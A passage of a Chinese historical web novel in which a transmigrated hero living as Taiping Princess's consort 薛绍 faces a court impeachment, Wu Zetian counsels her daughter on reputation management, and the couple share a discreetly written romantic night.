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他声音沙哑,带着前所未有的疲惫与一丝几不可察的温柔,“臣这颗心,七年前,在长安西市的灯楼下,当殿下提着那盏兔子灯,回头问臣‘薛绍,你会永远对本宫这么好吗’的时候,不就已经给了殿下吗?臣当时说,‘日月为鉴,此心不移。’ 这话,至今未变。无论臣是谁,无论身处何地,这颗心里装的,从来只有当年灯下那个笑得狡黠、让臣魂牵梦萦的小娘子,何曾看过旁人半分?” 他说的是“薛绍”与“太平”的往事。那是他们新婚前夕的上元夜,太平偷偷溜出宫,与未婚夫薛绍相约西市赏灯。在万千灯火与人潮中,她提着一盏精巧的兔子灯,回头对他嫣然一笑,问出了那句话。而“薛绍”当时的回答,便是这“日月为鉴,此心不移”。这是只属于他们两人的记忆,是“薛绍”能给出的、最郑重的承诺,也是此刻刘皓南唯一能拿来安抚、也是束缚“太平”的誓言。 太平的身体,在他掌中剧烈地颤抖起来。那些委屈、不安、猜忌、愤怒,以及此刻汹涌的悔恨、后怕,似乎终于在这句迟来的、属于“薛绍”的誓言中,找到了一个溃堤的出口。她再也忍不住,扑进他怀里,将脸深深埋在他胸前,压抑地、无声地痛哭起来,肩膀剧烈地耸动。 刘皓南无声地叹了口气,抬手,轻轻环住她颤抖的肩膀,将她紧紧搂在怀里,下巴抵着她的发顶。鼻端是她发间陌生的、廉价的脂粉香气,混合着她本身熟悉的、淡淡的馨香,以及泪水咸涩的味道。两人就这样静静相拥,在这弥漫着酒气、甜香和未散情欲气息的陌生厢房里,在窗外沉沉夜色和隐约更鼓的包围中,如同惊涛骇浪中两片依偎的浮萍。 不知过了多久,太平的哭泣声渐渐变成抽噎,最终平息。她依旧赖在他怀里,不肯抬头,声音闷闷地、带着浓重的鼻音传来:“那胡姬跳的舞……真有那么好看?” 刘皓南愣了一下,随即失笑,胸腔震动,带着无奈与一丝宠溺。他低头,吻了吻她沾染泪水的发顶,低声道:“殿下,臣方才所言,句句属实。那舞……不及殿下当年在太液池畔,为臣跳的那曲绿腰万一。臣眼中,从未看清她如何旋转,心中所念,唯有殿下灯下回眸一笑。” 太平在他怀中动了动,似乎想抬头看他,最终却没动,只是将脸埋得更深,低声嘟囔,带着哭过后的软糯与一丝不易察觉的羞赧:“花言巧语……本宫才不信……” 刘皓南也不辩解,只是将她搂得更紧些。危机并未解除,明日风暴必然来临,甚至可能因今夜之事而更加猛烈。但此刻,在这方寸之地、这短暂而诡异的安宁中,他只想紧紧抱住怀中这因任性、酷意而闯下大祸,却也因后悔、恐惧而脆弱不堪的帝国公主。 又过了许久,太平似乎终于平静下来。她在他怀中动了动,摸索着,从他腰间扯下了那枚代表弩坊署主事身份的银鱼符。 “这个,本宫收了。” 她将冰凉的鱼符紧紧攥在手心,语气带着不容置疑的坚持,又似乎藏着别的、更深沉的情绪,“驸马既说此心未变,那便证明给本宫看。从明日起,下值之后,若再敢让本宫独守空房,等到夜深……” 她顿了顿,从他怀中抬起头,泪痕未干的脸上,那双依旧红肿的眼睛里,闪过一丝复杂的光芒,混合着后怕、决心,以及一种破釜沉舟般的占有,“本宫便拿着这鱼符,去东宫求见太子哥哥,告诉他,他的好妹夫,把官凭信物都‘遗失’了。届时,看驸马如何向太子哥哥,向兵部,向父皇母后交待!” 刘皓南先是一怔,随即明白了她的用意。她是在用这种方式,既是发泄不满与后怕,也是在为他明日可能面临的“停职”或“待参”做准备——若鱼符“遗失”,需上报、勘合、补办,流程繁琐,正好可以作为一个暂时避开风口浪尖、闭门“思过”的合情合理的由头,也给上面留下了转圜的余地。甚至,可以借此示弱,暂避锋芒。他心中五味杂陈,伸手想去拿回鱼符:“殿下,此乃官凭信物,非同小可,不可……” “本宫说收了,便是收了。” 太平将鱼符紧紧攥在手心,背到身后,执拗地看着他,“你心里既装着家国天下,装着那些宴饮算计,那这小小的鱼符,本宫替你保管几日,有何不可?还是说……” 她眼中水光再次泛起,带着委屈与一丝狠劲,“驸马方才那些话,又是哄本宫的?你心里其实还是觉得那‘浑脱’好看,觉得本宫无理取闹,觉得这鱼符比本宫重要?” 刘皓南看着她红肿却执拗的眼睛,看着她紧紧攥着鱼符、指节发白的手,终是无奈地、深深地叹了口气,摇了摇头,不再试图拿回。他认命般道:“殿下喜欢,便收着吧。只是……务必妥善保管。” 两人之间紧绷的气氛,似乎因这小小的争执与让步,稍稍缓和。太平将鱼符小心地收入自己贴身的荷包,正要再说什么,动作间,一枚小小的、冰凉的东西,从她袖中滑落,“叮”一声轻响,掉在铺着地毯的地面上。 那是一枚打造精巧的、不过小指指甲盖大小的银质弩箭箭簇,尾部还连着半截断裂的银链。样式普通,却打磨得极其锋利,在窗外透入的微弱月光下,闪过一点寒芒。 刘皓南和太平的目光,同时落在那枚小箭簇上。 太平脸上的神情微微一僵。这是她今夜藏在身上,以备不时之需的暗器之一。方才混乱中…… 刘皓南弯腰,将它拾起,指尖摩挲着那冰冷的锋刃,感受到上面似乎还残留着一丝她的体温与汗意。然后,他轻轻拉过太平的手,将箭簇放入她掌心,又将她微凉的手指合拢,紧紧握住。 “这个,也请殿下收好。” 他低声道,目光深邃如夜,凝视着她,“下次……万不可再如此涉险。无论为了什么,都不值得。臣……承受不起。” 太平握紧了手中的箭簇,金属的冰凉与坚硬透过皮肤,直抵心底。她没有说话,只是重新将脸埋进他胸前,用力地点了点头,泪水再次无声地滑落,这次,却不再是因为愤怒或恐惧。 窗外,夜色依旧浓稠如墨,寅时的更鼓,迟迟未响。但两人都知道,黎明终将到来,而随之而来的,必定是一场因今夜荒唐、酷意与算计而起的滔天风波。刘皓南已做好了领受弹劾、暂时蛰伏、甚至更坏打算的准备。而太平,紧紧攥着那枚小小的、冰冷的银弩箭簇,贴着他温热的胸膛,心中翻涌的,除了未散的悔恨后怕,一种更为复杂的情绪正在滋生——那是同舟共济的决心,是祸福与共的觉悟,或许,还有一丝因共同秘密而滋生的、畸形的亲密。 长夜未尽,前路莫测。但此刻,在这危机四伏的幻境之中,在这充满不确定性的拥抱里,那句“日月为鉴,此心不移”的旧日誓言,和掌心这枚染过彼此气息的锋利箭簇,成了他们唯一能抓住的、真实而微小的依凭。至于明日朝堂之上,那即将因“驸马狎妓犯夜”而掀起的惊涛骇浪,此刻,似乎也必须共同面对了。 53. 牵一发而动全身 五更三点,太极宫。 长安城仍浸在浓稠的墨色中,唯有天边泛起一丝若有若无的鱼肚白。承天门外,等候入朝的文武官员按品阶肃立,灯火在微寒的晨风中摇曳,映出一张张或肃穆、或疲惫、或暗藏机锋的面孔。刘皓南身着驸马都尉的绯色朝服,手持象牙笏板,随文武百官的人流,沿龙尾道那漫长而陡峻的台阶,一级一级向上攀登。虽一夜未眠,心神紧绷,但体内三十载精纯的道家内力自然流转周身,驱散了疲惫,令他步履沉稳,气息均匀,在这寂静的登朝路上,如履平沙。 当他最终在宏伟的紫宸殿内,属于自己的第七排蒲团上跪坐时,殿内鲸油巨烛高烧,将一切照得煌煌如昼。他的目光状似恭顺地垂下,却已不着痕迹地扫过殿内——御座高踞丹陛之上,明黄的帐幔低垂,但前方多了一面以细密竹篾精工编织的帘幕,帘后,一扇绘有展翅金凤的紫檀屏风隐约可见,屏风上映出一道端坐的、雍容而极具存在感的女性剪影。那是天后武则天。而真正坐在龙椅上的皇帝李治,正襟危坐,面色在烛光下显得有些苍白,手边御案上放着一盏热气蒸腾的药盏,氤氲的白气模糊了他略显疲惫却依旧锐利如鹰隼的目光。二圣临朝,帝后同殿,无形的压力笼罩着每一个臣子。 “有事启奏,无事退朝——” 司礼太监尖细悠长的唱报声,打破了殿中沉凝的寂静。 刘皓南借着整理手中笏板的动作,目光快速掠过周遭。文官在东,武将在西,泾渭分明。前排的几位宰相眼观鼻鼻观心,老神在在。他在袖中轻轻捻动范阳卢氏那个子弟“恰到好处”递来的、据说有奇效的醒酒丸,指尖内力微吐,丸药表面无声无息地现出几道细微裂痕,内里药粉色泽质地均无异样——这是用毒高手验毒的本能反应,无事。他注意到,当司礼太监唱报声落,兵部尚书李敬玄出列时,其腰间所佩代表三品以上高官的金鱼袋,竟微微晃荡了一下,这在他这般老成持重的大员身上,极为罕见。而几乎同时,帘后天后的剪影,似乎极其细微地向前倾了倾。 果然来了。刘皓南心下一沉,知道今日朝会,绝不可能平静。 兵部尚书李敬玄手捧笏板,率先出列,步伐比平日略显急促。他展开一卷加急军报,手背上青筋微微凸起,声音沉痛中带着焦灼:“陛下,天后,陇右道六百里加急军报——吐蕃大将论钦陵,亲率精锐,连破我洮、叠、芳三州!我军虽奋力抵挡,然军中粮饷已拖欠两月,士卒饥疲,士气低迷。若朝廷再不拨发粮饷,恐……恐生兵变哗营之祸!” 他展开军报时,那绢帛似乎因用力过猛,发出“刺啦”一声轻微的撕裂声,在寂静的大殿中格外刺耳。这不仅仅是边患,更是要钱,要立刻、马上、足以稳定军心的大笔钱粮。 李敬玄话音未落,户部尚书王珪几乎是踉跄着扑出班列,重重跪倒在御阶前,以额触地,声音带着哭腔:“陛下明鉴!天后明鉴!非是户部拖延,实是太仓……太仓见底了啊!去岁关中大旱,今春河东又有水患,赋税收缴不足往年六成。国库存钱,算上各道折纳,统共不足二十万贯!若尽数拨付陇右军饷,则黄河濮阳段亟待加固的堤防工程,将成无米之炊!一旦汛期至,堤坝溃决,七州之地尽成泽国,生灵涂炭!还有……还有京城百官、禁军、宫人,下月俸禄亦无着落啊!臣……臣恳请陛下、天后,暂裁撤各部冗散官员三百员,以此节省之俸禄,先行充作军费,以解燃眉之急!” 他这一跪一哭,直接将国库空虚的窘迫与抉择的艰难,赤裸裸地抛在了御前。 “陛下!万万不可!” 工部侍郎赵仁本(注:二圣时期工部尚书多次易人,侍郎奏事更常见)疾步出列,声音洪亮急切,他甚至猛地扯开自己的官袍前襟,露出腰腹间一道狰狞的、尚未完全愈合的旧疮,“濮阳堤乃悬在七州百姓头顶之利剑!去岁汛情已险象环生,今春若再无款加固,溃堤之祸,迫在眉睫!臣此疮溃烂三月,痛楚钻心,犹不及堤坝危急之万一!臣愿以性命担保,三十万贯修堤款,分文不敢虚耗,全数用于堤防!陛下,天后,堤防关乎社稷根本,关乎百万黎民生死,刻不容缓啊!” 他声泪俱下,以自身伤痛类比国事,情辞恳切,令人动容。 吏部尚书裴炎手持考功司的文书,眉头紧锁,沉吟道:“裁撤三百员……兹事体大。各部官员定额,皆依制而设,骤然裁撤,恐各部运转失序,政务阻滞。且被裁官员安置、抚恤,亦需考量,若激起怨愤,反为不美。需从长计议,拟定详尽章程……” 他老成持重,考虑的是行政体系的稳定与官僚集团的反应。 一时间,紫宸殿上,兵部要军饷御外侮,户部哭穷言民生,工部争款防灾患,吏部忧心体制稳,各部为钱、为权、为责争吵不休,俨然成了没有硝烟的战场。端坐的李治面色沉静,看不出喜怒,帘后的天后身影也稳如磐石。 就在这国事争论的节骨眼上,一个不和谐的声音,带着义正辞严的激昂,骤然响起: “臣,监察御史王德顺,有本启奏!” 一员身着青色御史袍服、面容瘦削的官员手持笏板,昂然出列。他先向御座与帘幕方向深深一揖,然后猛地转身,目光如电,直射向文官班列中后方的刘皓南,声音陡然拔高,带着穿透殿宇的力度: “臣弹劾驸马都尉、弩坊署主事薛绍!清明休沐后,不思勤勉王事,反流连平康坊那等污秽之地,观赏艳舞‘浑脱’,携妓入房,狎妓饮酒,直至犯夜不归!此举败坏纲常,有辱皇室清誉,更失朝廷命官体统!臣恳请陛下、天后明察,严惩不贷,以正风气!” 来了。果然来了。而且选在国事争论最激烈、帝后注意力高度集中之时发难,时机可谓刁钻狠辣。 刘皓南心中冷笑,面上却瞬间血色尽褪,呈现出恰如其分的震惊、慌乱与惶恐。他几乎是踉跄着出列,手中的象牙笏板“不慎”滑落,“啪”一声脆响,滚落在地。他慌忙俯身去拾,就在这低头的一刹那,他眼角的余光迅速扫过全场:文官队列中,不少人露出讶异、鄙夷或看好戏的神情;武将那边,则多是皱眉与不耐;范阳卢氏那位卢衡,眼帘低垂,看不清神色;而帘后的天后身影,似乎几不可察地……微微动了一下袖角。那是极其细微的颤动,若非刘皓南在辽国朝堂练就的、对高位者情绪波动的超常敏锐,几乎无法察觉。 拾起笏板,刘皓南已是面如土色,他疾步走到御阶前,撩袍跪倒,以额触地,声音带着“惶恐”的颤抖:“陛下明鉴!天后明鉴!臣……臣冤枉!臣那日确在平康坊,然绝非御史所言狎妓淫乐!臣是因在弩坊署查验一批紧要机括图纸,直至戌时方毕,不意错过坊门关闭时辰,无奈困于坊中。为避嫌,臣独自居于坊内一处僻静偏院,未曾召妓,更无狎亵之事!坊正、武候皆可作证!王御史风闻奏事,臣不敢置喙,然‘携妓’、‘嫖宿’之言,实属污蔑!若王御史能寻到所谓胡姬,带来与臣当庭对质,臣愿领欺君之罪!” 他语速很快,显得急切而委屈,眼眶甚至恰到好处地泛红,将一个骤然遭逢污蔑、急于自辩的年轻驸马形象演得入木三分,同时死死咬住“找不到胡姬”这一点。昨夜他与太平匆忙商议,已知那“胡姬”根本是公主假扮,无人能寻,此乃死无对证之局,亦是反击关键。 “哦?偏院?” 一个清朗中带着几分慵懒笑意的声音响起。太子李贤不知何时已从储君位微微倾身,他手中把玩着一枚玉珏,目光却带着玩味,看向王德顺,“孤倒是听闻,王御史昨夜,似乎也在平康坊南曲流连,还与友人醉吟《春江花月夜》,好不风雅。怎的如此巧合,薛驸马困于偏院,王御史就恰好在南曲‘体察民情’,还恰好‘风闻’了此事?” 李贤说话间,袖中似乎不经意滑落一张诗笺,飘落在身前案几边缘。刘皓南跪在地上,角度恰好能瞥见那诗笺一角——上面的墨迹,明显新旧交错,并非一气呵成,显是分作两日书写。太子此言此举,轻描淡写,却将“狎妓”的焦点,巧妙引向了弹劾者自身行迹的可疑,更暗指其弹劾动机不纯,或许是早有预谋的构陷。这是太子在向他示好,也是借机打击与武氏走得近的御史,更是要将水搅浑。 果然,李治的目光,不易察觉地扫了太子一眼,又落在王德顺身上,那眼神深处的疲惫似乎被一层更深的思量覆盖。 “哼!” 武将队列中,突然爆发一声怒哼。老将程务挺,这位素来以刚直暴烈闻名的左武卫将军,猛地一脚踹翻了身边摆放礼器的铜磬架,发出“哐当”一声巨响,在寂静的大殿中格外惊人。他铜铃般的眼睛瞪着王德顺,声如洪钟:“俺老程是个粗人,不懂你们文官那些弯弯绕!陇右将士饿着肚子跟吐蕃人拼命,黄河堤坝快要保不住了,你们这帮御史台的酸丁,不琢磨着怎么替陛下分忧,替百姓解难,倒有闲心天天盯着驸马的床帷之事?!怎么,是长安城的歌舞不好看,还是你们吃饱了撑的?既然这般有闲,不如随老夫去陇右当斥候,用你们的舌头去舔舔吐蕃人的马蹄,看看能不能把人家舔回去!” 他这番话粗鄙直接,却引得武将队列中一片压抑不住的哄笑和附和之声。文武不和,由来已久,程务挺借题发挥,既是为曾经同为金吾卫系统出身的“薛绍”出气,更是对文官集团,尤其是御史台这种“不干正事、专找麻烦”作风的长期不满的宣泄。 “够了!” 御座之上,李治终于开口,声音并不高,却带着不容置疑的威严。他并未看程务挺,只是屈起指节,在龙椅扶手的螭首纹饰上,不轻不重地叩了三下。 “叩、叩、叩。” 三声轻响,却仿佛敲在每个人的心头上。满殿的争吵、哄笑、私语,霎时归于死寂,落针可闻。所有人的目光,都集中到了皇帝身上。 李治的目光缓缓扫过殿下众臣,在王德顺、刘皓南、太子、程务挺等人身上略有停顿,最后,他看向了帘幕的方向,似乎与帘后的目光有了一瞬无声的交流。然后,他缓缓开口,声音平静,却带着定论的力度: “国事艰难,边患、河工、度支,件件迫在眉睫,尔等身为朝廷栋梁,当同心协力,为朕分忧,而非在此争吵不休,更非纠缠于捕风捉影之私德小事。” 他顿了顿,目光落在伏地不起的刘皓南身上:“驸马都尉薛绍,身为帝婿,又掌军械要务,举止失当,夜宿坊间,致生谤议,有失体统。罚俸三月,弩坊署一应紧要文书,即日起,送至公主府,由薛绍于府中闭门批阅思过,无旨不得随意外出。” 接着,他看向脸色已然发白的王德顺,语气转冷:“监察御史王德顺,风闻奏事,本是职责。然弹劾当有实据,更当以国事为重。尔既对平康坊诸事如此了然,不妨也静心思过几日。停职,交由大理寺,细查其近日行止。其子萌职,暂行夺去。” 他的目光掠过脸色微变的武三思(武承嗣此时可能不在朝或未显),最后淡淡补充了一句,“朕记得,王爱卿上月,刚纳了一房扬州歌姬为妾?倒是雅趣。” 武三思闻言,身体几不可察地一颤,腰间金鱼袋碰了一下身旁的同僚。帘后,传来一声极轻微的杯盖与茶盏触碰的脆响,天后的身影在屏风后似乎微微晃动了一下。 “退朝。” 李治不再多言,起身,在内侍的搀扶下离去。只是他转身时,刘皓南敏锐地注意到,皇帝明黄衣袖的袖口,几不可察地颤抖了一下,但他挺直的腰背,依旧保持着帝王的威仪。 朝臣们如潮水般恭敬退下。刘皓南随着人流退出紫宸殿,耳边似乎还回荡着方才激烈的争吵与皇帝最后的裁决。当他步出殿门,走过那面细密的竹帘附近时,隐约听见帘后传来三下极其轻微、却节奏分明的玉磬轻响——“叮、叮、叮”。 那是天后召见心腹近臣的暗号。 ______ 申时三刻,甘露殿。 夕阳的余晖透过精美的棂花窗,将碎裂的光斑投在冰凉光滑的“百鸟朝凤”金砖上。太平公主跪在殿中央,背脊挺得笔直,发间那支赤金蝴蝶篦在残阳映照下,折射出如血般的光泽。她面前的地上,散落着几片翡翠碎片——那是方才盛怒的天后掷出的玉如意,在她膝边迸裂的残骸。碎玉的断口折射着冷光,恰似多年前,感业寺那冰冷石阶上,凝结的寒霜。 “儿臣就是那个胡姬。” 太平的声音在空旷的大殿里响起,清晰,甚至带着一种豁出去的平静。她抬起手,在母亲深沉莫测的目光注视下,猛地扯开自己宫装的衣领,露出白皙的锁骨上方,那一抹清晰而刺目的痕迹——并非咬痕,而是一处带着淤紫的、明显的齿印,在细腻的皮肤上显得格外突兀。那是昨夜在平康坊厢房,刘皓南在急怒与试图阻止她冲动行事时,情急之下留下的印记。 “薛绍若真贪恋那等烟柳之地,贪图美色,何须连避七日宴饮,夜夜回府疲惫不堪?又怎会在认出儿臣后,急怒惊惧,只想立刻带儿臣离开?这印记便是明证!那所谓‘狎妓’ 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指尖陷进太平的唇角,带来清晰的压迫感。太平浑身一颤,却没有挣扎,只是倔强地回视着母亲。 “蠢货!” 天后的声音压得极低,却字字如冰锥,砸在太平耳膜上。 “你以为你这是情深义重,是在救他?你这是在把他,把你自己,往火坑里推!往那些人的刀口上送!” 她的指尖用力,太平痛得闷哼一声。 “太子为何突然替你驸马说话?他是看中了薛绍兵部弩司的位置,想借他插手军械,更要借打压薛绍,来敲打与本宫亲近的武氏一系!范阳卢氏为何推波助澜?他们这些自诩高贵的旧士族,早就看凭借军功、科举爬上来的新兴门阀不顺眼,薛绍尚了公主,又是薛家子,正是他们眼中钉!连你父皇今日的判决——” 天后冷哼一声,松开了钳制太平下颌的手,那冰冷的目光中透出彻骨的清醒与一丝嘲讽,“你以为真是信了薛绍的说辞,或是顾念你?他是做给山东那些世家大族看的!是要平衡,是告诉所有人,皇家的女婿,就算有错,也只能由皇家来管,轮不到御史台,更轮不到某些人借题发挥!” 她的话,一句句,剥开了太平所以为的“简单”表象,露出底下错综复杂、冰冷残酷的权力绞杀场。太平的脸色一点点变得苍白,方才的勇气和执拗,在母亲这洞悉一切的目光和冰冷的话语下,寸寸瓦解,只剩下后知后觉的寒意和恐惧。 看着女儿眼中迅速积聚的泪水,和那茫然无措的神情,武则天眼底深处,那冰冷坚硬的什么东西,似乎被触动了一下。她沉默片刻,忽然拿起旁边银盘中一块用玫瑰露浸湿的、香气馥郁的丝帕,动作略显粗鲁,却又带着一种难以言喻的别扭的轻柔,擦拭着太平并未破损的唇角。 “知道疼,下次就别再这么蠢。” 她的声音依旧没什么温度,但语气似乎缓和了极其细微的一丝。 或许是那熟悉的玫瑰露香气,或许是母亲这罕见的、带着一丝旧日影子的动作,太平一直紧绷的、强撑的坚强瞬间崩塌。泪水汹涌而出,她不管不顾地,像小时候受了委屈那样,猛地扑进母亲怀里,紧紧抱住武则天的腰,将脸埋在那华贵却冰冷的衣料中,呜咽出声:“母后……儿臣知错了……儿臣只是……只是害怕……儿臣不想他有事……现在该怎么办?那些人会不会还要害他?母后,你帮帮我们……” 武则天身体似乎僵硬了一瞬,随即,那挺直的脊背微微放松下来。她没有立刻推开女儿,而是抬起手,有些生疏地,轻轻拍了拍太平颤抖的背脊。她的目光投向殿外沉沉的暮色,声音里透出一丝遥远的、几乎难以捕捉的恍惚。 “本宫当年在感业寺时……先帝驾崩,那些世家大臣,还有王皇后、萧淑妃她们……个个都想把本宫碾死在那个地方。” 她的语气很平静,像是在说别人的故事,“你父皇……他顶着长孙无忌、褚遂良那些顾命大臣多大的压力,才把本宫接回宫……他那时,也难。” 这话说得没头没尾,但太平听懂了。母后是在告诉她,帝王也有帝王的无奈,权衡与妥协,是生存的法则。也是在告诉她,有些路,必须一起走。 片刻的沉默后,太平从母亲怀中抬起头,泪眼婆娑,带着希冀:“那……母后,让薛绍暂时避开这些是非,可好?称病,或者……” “避?” 武则天收回飘远的思绪,眼神重新变得锐利而清明,带着掌控一切的冷静。她牵着太平的手,走到旁边的紫檀木案几旁,以指尖蘸了蘸杯中微凉的茶水,在光洁的案面上,画了一道迂回曲折的曲线。 “遇到山,不必硬撞,绕过去便是。” 她的指尖点在曲线的一端,“三日后,佛诞日。你,带你那驸马,去大慈恩寺进香。要让人看见,要让人知道,薛绍在为你父皇,为社稷,虔诚抄经祈福。什么平康坊,什么胡姬,在‘孝心’和‘祈福’面前,不值一提。” 她看着女儿似懂非懂的眼神,微微俯身,声音压得更低,带着一丝只有母女间才能领会的、近乎冷酷的提点:“你今日这身打扮,发间那篦子,还有,” 她的目光再次扫过太平锁骨上那处齿痕,眼神微暗,“这些痕迹,都太刻意。西域的玉佩,招摇,不如换成你父皇去年赏你的那枚蟠龙玉珏。明白吗?” 太平怔了怔,随即恍然。母后是要她把“争风吃醋的胡闹”,变成“为父祈福的孝行”,把“驸马失德”,变成“帝女为婿求情,帝婿诚心悔过”。那些引人遐想的“证据”,都要换成彰显天家恩宠、夫妻情深的“信物”。这不仅仅是应对,更是反击,是塑造。 殿外,报暮的鼓声沉沉传来,穿透窗棂。在逐渐浓重的暮色中,太平看着母亲被阴影勾勒的侧脸,忽然觉得,那张永远威严、深不可测的面容上,似乎有一瞬间,闪过了许多年前,在感业寺青灯古佛下,那个同样美丽、却不得不依靠爱情与隐忍等待命运转机的年轻女子的模糊影子。 “儿臣……明白了。” 太平低声应道,擦干了眼泪,眼中虽然还有红痕,却已燃起新的光芒。 而此刻,公主府中。 刘皓南独自立于寝殿的铜镜前,默默整理着略显凌乱的绯色朝服。镜中人,面容平静,眼神深邃。镜台一角,被一卷普通书轴巧妙压住的《推背图》残页边缘微微露出,其上“帝传三世”的谶语字迹,在窗外最后一道夕照余光斜斜映照下,仿佛被镀上了一层诡异的、流动的金粉,一闪而逝。 54. 两不疑与风波恶 仲春之夜,长安城浸润在桃李芬芳中。太平推开书房门时,刘皓南正就着烛火修整弩机模型的竹制悬刀。她突然从背后环住他腰身,脸颊贴在他后脊旧箭疤上。轻薄的春衫遮不住体温,她带着哭腔道:"贤哥哥借雁门关旧案清洗将门,范阳卢氏嫁女河东裴氏,裴氏嫡女又配陇西李氏...三叔公庶女是雁门关副将之妻,这局棋里河东薛氏不过是过河卒子。" 刘皓南反手扣住她腕脉,力道带着军中查验细作的警惕:"臣若真涉案,何须等御史台弹劾?"匕首尖在弩机悬刀处刻下深痕。他及时收住险些脱口而出的契丹弹舌音——这宋辽之地的口音,与薛绍的河东官话截然不同。 子时佛堂屋顶,刘皓南揽着太平的腰跃上鸱吻。春风拂过她单薄的杏子红春衫,他拍开酒坛泥封,任葡萄酒液在月光下泛着琥珀光:"殿下可知,佛顶饮酒别有意趣。"太平就着他手腕啜饮,酒渍顺着下颌滑入衣襟,被他以唇舌舐去。 "贤哥哥的人正在查弩司旧档..."她喘息着扯开他衣领,指尖在心口箭疤画圈,"五姓七望的姻亲网,岂是你这个年纪能窥透的?"刘皓南突然将人压倒在琉璃瓦,月光倾泻在她散开的衣带上。檐下传来巡逻脚步声时,他手臂一紧,带着她足尖在佛堂翘檐上借力一点,身形如夜枭展翼,悄无声息地滑向庭院中央那株枝繁叶茂的百年老槐。动作迅捷轻盈,却又带着不容置疑的力道,太平只觉眼前景物飞掠,夜风扑面,下一刻,人已被他裹挟着,融入槐树巨大如华盖的浓密枝叶之中,身影瞬间被黑暗与叶影吞没。 脚下是虚空,身旁是粗糙的树皮与横斜的枝桠。太平猝不及防,足尖似乎扫到了什么柔软的东西——是系在较低枝桠上、被夜风吹拂的褪色经幡。布帛拂过脚踝的触感让她心头一悸,一声短促的惊呼险些脱口而出—— “唔!” 惊呼被堵回喉咙。刘皓南反应极快,在她身形因那经幡的羁绊而微微一滞、似要失衡的刹那,已迅疾如电地松开揽着她腰肢的手,转而以更稳妥的姿势将她整个卷入怀中,后背抵上粗壮坚实的主干,将她牢牢护在树干与自己身躯构成的狭小空间里。 惊魂甫定,鼻端盈满他身上清冽的松柏气息与一丝夜露的微凉。头顶传来他压得极低的轻笑,气息拂过她耳廓,带着一丝戏谑与绝对的掌控: “臣在此,岂会让殿下跌落分毫?” 说话间,他已托着她的腰臀,将她稳稳送上头顶一根更为粗壮、相对平坦的横杈。太平惊魂未定地坐稳,下意识地抓紧了手边的枝条。她身上的杏子红缕金春衫,方才动作间衣带已然松脱,此刻一角广袖被斜逸的细枝勾住,在夜风中微微飘荡,衬着深沉的墨绿树叶,竟如一面小小的、旖旎又突兀的旌旗,无声昭示着这树冠深处的隐秘。 更鼓声自远处街巷传来,沉闷地敲了一下,余韵在寂静的夜里荡开。 几乎是鼓声落定的同时,太平方才慌乱中不知何时松脱的泥金披帛,从枝杈缝隙间滑落,飘飘荡荡,坠向下方的庭院。披帛拂过下层枝叶,发出“沙沙”轻响,惊起了两只原本栖在较矮枝头的宿鸟,扑棱棱地冲入夜空,留下几声受惊的啁啾。 树冠深处,枝叶的窸窣声再次响起,比之前更为细密、持久,带着一种难以言喻的、充满生命力的韵律,与夜风拂过树梢的自然声响微妙地区分开来。其间,夹杂着女子极力压抑、却仍从齿缝间漏出的、断断续续的轻笑,似嗔似恼,又似难耐的欢愉,如同投入静湖的石子,漾开圈圈暧昧的涟漪,在清冷的月光下无声浮动、扩散。 第二次枝摇叶颤,来得更为剧烈。 粗壮的槐树枝干似乎都承接着某种超越风力的、规律的震颤,叶片相互摩挲,发出连绵不绝的、细碎的“沙沙”声,宛如急雨骤临。月光被晃动的枝叶切割得支离破碎,光影凌乱地洒落在紧紧相贴的两人身上。 “嗒”一声轻不可闻的脆响。 是太平腰间那串颗颗圆润的珍珠腰带,不知何时彻底松脱,从她汗湿的腰间滑落,顺着倾斜的枝干滚了几圈,最终从枝叶缝隙间坠落,“啪嗒、啪嗒”地滚过下方庭院冰凉的石阶,声音在寂静中格外清晰,一路滚入角落的草丛,消失不见。 三更鼓响,余韵悠长。 树冠终于渐渐停止了那惊心动魄的震颤,只余枝叶因余韵而微微的、舒缓的摇晃,如同潮水退去后海滩的细微波澜。 太平无力地背对着刘皓南,蜷缩在横杈与他胸膛之间那一点有限的空间里。杏子红的春衫凌乱不堪,襟口大敞,露出大片雪背与圆润的肩头,衣料被汗水与夜露浸透,紧紧贴在肌肤上,勾勒出起伏的曲线。乌发更是散乱如瀑,几缕黏在潮红未褪的颊边与汗湿的颈侧。 月光如水,穿透逐渐静止的枝叶缝隙,清泠泠地洒在她光裸的后颈上。 那里,原本颜色深浓的咒印,此刻在皎洁月华的映照下,竟已褪去了大半沉郁,化作一种暧昧而艳丽的玫红色,如同被揉碎了的胭脂,又像是经历极致绽放后的花朵,色泽鲜润,纹路却似乎淡了些许,在玉白的肌肤上格外醒目。 刘皓南的气息仍有些不稳,他静静凝视着那枚咒印,眸色深沉如夜。半晌,他伸手,从不知何时带上树的、系在腰间的一个小巧皮囊中,取出一个扁平的银酒壶。拔开塞子,浓郁醇厚的酒香顿时逸散出来,与空气中未散的情欲气息混在一处。 他微微倾身,手腕稳定地将壶中清冽的酒液,缓缓倾出几滴。 冰凉的液体,不偏不倚,正正滴落在那枚玫红色的咒印中心。 “嗯……” 太平敏感地轻颤了一下,却未躲避。 酒液顺着她后颈优美的曲线缓缓漫开,浸湿了咒印,也润湿了周围一小片肌肤。月光落在沾了酒液的皮肤上,折射出细碎流转的、琥珀色的莹光,仿佛那咒印本身在酒液中微微融化、荡漾。 他垂眸,看着那流光漫过渐淡的印记,低沉的声音在寂静的树冠中响起,带着事后的沙哑,与一种难以辨明的复杂情绪,似叹似喟: “并州的月色,清寒高远,照过边关冷垒,也照过荒原孤烟。” 他顿了顿,指尖极轻地拂过她后颈沾湿的肌肤,感受到她细微的战栗。 “但臣眼中的月色……从来,只照见殿下一人。” 语声落,夜风穿林而过,枝叶轻响,仿佛无声的应和。 翌日清晨,李尚宫经过槐树时,见满地断枝残叶中混着泥金披帛碎片。她俯身拾起银丝蹀躞带扣,恰听见侍女窃语:"今早为公主更衣时,见颈间红痕连胭脂都遮不住..." 佛堂梁柱沾着的酒香里,太平正为刘皓南系玉带,抬手时广袖滑落,露出手腕内侧若隐若现的指痕。李尚宫刚要开口,太平已塞来蜜饯:"尚宫尝尝新制的樱桃饴。"她转身时指尖在刘皓南腰侧急划三下——并州军中的警示暗号。 窗外忽传来公主府仆清晰而节制的通报:“狄仁杰狄寺丞递帖求见驸马!” 刘皓南扣住太平的手,按在自己心口,掌心下那道旧疤似乎在隐隐发烫。庭院中,那株老槐树最后一片枯叶打着旋儿飘落,与此同时,相国寺浑厚的晨钟骤然撞响,惊飞了树顶一对交颈依偎的寒鸦。 